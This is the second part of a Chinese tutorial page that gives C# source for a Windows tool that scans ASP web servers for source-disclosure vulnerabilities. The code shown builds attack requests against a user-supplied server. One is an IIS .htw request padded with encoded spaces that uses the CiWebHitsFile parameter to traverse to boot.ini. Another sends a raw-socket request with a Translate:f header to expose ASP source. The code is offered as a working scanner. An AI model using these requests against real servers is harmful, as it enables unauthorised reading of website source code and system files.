| 网站首页 | JAVA文章 | AppServers | Web开发 | 应用开发 | 资源下载 | 论坛
    学好外语能够获得更多的国外先进编程技术  [enadd  2006年12月25日]        
设为首页 加入收藏 联系站长
您现在的位置: 编程笔记网 >> Web开发 >> 网络编程 >> C# >> CSharp教程 >> 文章正文
一个用c#写的扫描asp源码漏洞的应用程序(续)            【字体:
一个用c#写的扫描asp源码漏洞的应用程序(续)
作者:佚名    文章来源:不详    点击数:    更新时间:2007-8-10

case 19: //.htw
strRequestFile = strServer + strUrl
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%"
+ "20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20.htw?"
+ "CiWebHitsFile=/../../boot.ini&CiRestriction=none"
+ "&CiHiliteType=Full" ;
break ;

default:
strRequestFile = strServer + strUrl + this.cboMethod.Text ;
}

this.barStatus.Text = "发送请求:"
+ (strRequestFile.Length >= 50 ?
strRequestFile.Substring(0 , 50)
:strRequestFile)
+ "...";

string strResult ;
//如果不是translate:f方法则可以直接发送http请求
if (this.cboMethod.SelectedIndex != 20)
{
//直接发送http请求
strResult = Get_Http(strRequestFile) ;

this.barStatus.Text += "完成。" ;
strResult = strResult == "" ? "未找到!" : strResult ;
this.txtResult.Text = strResult ;
}
else //translate:f方法需要建立tcp/ip连接
{
string strRequest = "GET " + strServer + strUrl
+ "\r\nHTTP/1.0\r\nTranslate:f\r\n" ;
strResult = Get_Socket_Request(strServer , strRequest , 80) ;
this.barStatus.Text += "完成。" ;
strResult = strResult == "" ? "未找到!" : strResult ;
this.txtResult.Text = strResult ;

}

}

//使按钮、输入款等恢复
this.txtServer.ReadOnly = false ;
this.txtFileName.ReadOnly = false ;
this.btnClear.Enabled = true ;
this.btnGo.Enabled = true ;


}


//通过同server建立tcp/ip连接,发送socket命令
private string Get_Socket_Request(string a_strServer , string a_strRequest , Int32 a_intPort)
{
//Set up variables and String to write to the server
Encoding ASCII = Encoding.Default ;
string Get = a_strRequest + "Connection: Close\r\n\r\n";
//string Get =
Byte[] ByteGet = ASCII.GetBytes(Get);
Byte[] RecvBytes = new Byte[256];
String strRetPage = null;

// IPAddress and IPEndPoint represent the endpoint that will
// receive the request
IPAddress hostadd = DNS.Resolve(a_strServer.Substring(7 ,a_strServer.Length - 7));
IPEndPoint EPhost = new IPEndPoint(hostadd, a_intPort);

//Create the Socket for sending data over TCP
Socket s = new Socket(AddressFamily.AfINet, SocketType.SockStream,
ProtocolType.ProtTCP );

// Connect to host using IPEndPoint
if (s.Connect(EPhost) != 0)
{
strRetPage = "Unable to connect to host";
return strRetPage;
}

// Sent the GET text to the host
s.Send(ByteGet, ByteGet.Length, 0);

// Receive the page, loop until all bytes are received
Int32 bytes = s.Receive(RecvBytes, RecvBytes.Length, 0);
strRetPage = strRetPage + ASCII.GetString(RecvBytes, 0, bytes);

while (bytes > 0)
{
bytes = s.Receive(RecvBytes, RecvBytes.Length, 0);
strRetPage = strRetPage + ASCII.GetString(RecvBytes, 0, bytes);
}

return strRetPage ;
}

//获取http页面函数
private string Get_Http(string a_strUrl)
{
string strResult ;
HttpWebRequest myReq = (HttpWebRequest)
WebRequestFactory.Create(a_strUrl) ;

try
{
HttpWebResponse HttpWResp = (HttpWebResponse)myReq.GetResponse();
Stream myStream = HttpWResp.GetResponseStream () ;

StreamReader sr = new StreamReader(myStream , Encoding.Default);
StringBuilder strBuilder = new StringBuilder();
while (-1 != sr.Peek())
{
strBuilder.Append(sr.ReadLine()+"\r\n");
}

strResult = strBuilder.ToString();
}
catch(Exception exp)
{
strResult = "错误:" + exp.Message ;
}

return strResult ;

}

//退出
protected void mnuExit_Click (object sender, System.EventArgs e)
{

if (MessageBox.Show("真的退出吗?" , "退出系统" , MessageBox.YesNo) == DialogResult.Yes)
{
this.Close () ;

}
}


//主函数
public static void Main(string[] args)
{
Application.Run(new Form1());
}
}
}

 

上一页  [1] [2] 

文章录入:fengyun    责任编辑:fengyun 
  • 上一篇文章:

  • 下一篇文章: 没有了
  • 发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
    最新热点 最新推荐 相关文章
  • 利用C#实现标注式消息提示窗…

  • RSS制作(C#) - 使用XML DOM

  • c#中的委托和事件的简单实例

  • C#中的接口

  • C#快速排序类

  • 利用正则表达式来反转一句话…

  • C#编程向VFP数据库中插入Num…

  • 汇总c#.net常用函数和方法集

  • 代码前置时页面输出脚本的要…

  • 使用C#开发SmartPhone程序入…

  •   网友评论:(只显示最新10条。评论内容只代表网友观点,与本站立场无关!)
    | 设为首页 | 加入收藏 | 联系站长 | 友情链接 | 版权申明 | 管理登录 |